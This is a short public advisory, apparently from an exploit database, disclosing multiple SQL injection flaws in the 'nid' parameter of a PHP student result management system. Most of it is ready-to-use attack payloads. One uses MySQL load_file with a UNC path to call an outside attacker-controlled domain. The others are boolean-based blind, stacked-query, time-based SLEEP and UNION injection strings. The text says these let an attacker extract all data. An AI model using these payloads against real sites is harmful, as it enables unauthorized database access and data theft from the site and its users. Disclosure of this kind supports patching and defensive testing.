Best Student Result Management System v1.0 - Multiple SQLi

## Title: Best Student Result Management System v1.0 - Multiple SQLi
## Author: nu11secur1ty
## Date: 04/08/2024
## Vendor: https://www.mayurik.com/
## Software: https://www.sourcecodester.com/php/15653/best-student-result-management-system-project-source-code-php-and-mysql-free-download
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The nid parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\qiccs55u6nnh6lxma520zou8ozusijm7da11orcg.tupaputka.com\\tuh'))+'
was submitted in the nid parameter. This payload injects a SQL
sub-query that calls MySQL's load_file function with a UNC file path
that references a URL on an external domain. The application
interacted with that domain, indicating that the injected SQL query
was executed.
The attacker can get all information from the system by using this
vulnerability!

STATUS: HIGH- Vulnerability

[+]Payload:
```mysql
---
Parameter: nid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: nid=145448807' or '1766'='1766' AND 2997=2997 AND 'IBFU'='IBFU

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: nid=145448807' or '1766'='1766';SELECT SLEEP(7)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: nid=145448807' or '1766'='1766' AND (SELECT 3474 FROM
(SELECT(SLEEP(7)))eAdm) AND 'ubZR'='ubZR

    Type: UNION query
    Title: MySQL UNION query (NULL) - 4 columns
    Payload: nid=145448807' or '1766'='1766' UNION ALL SELECT
NULL,NULL,CONCAT(0x716a767871,0x76504a4f6455624669506c6a484150727767554e66574d7856554875684368426b4f72794374496e,0x716b787071),NULL#
---
```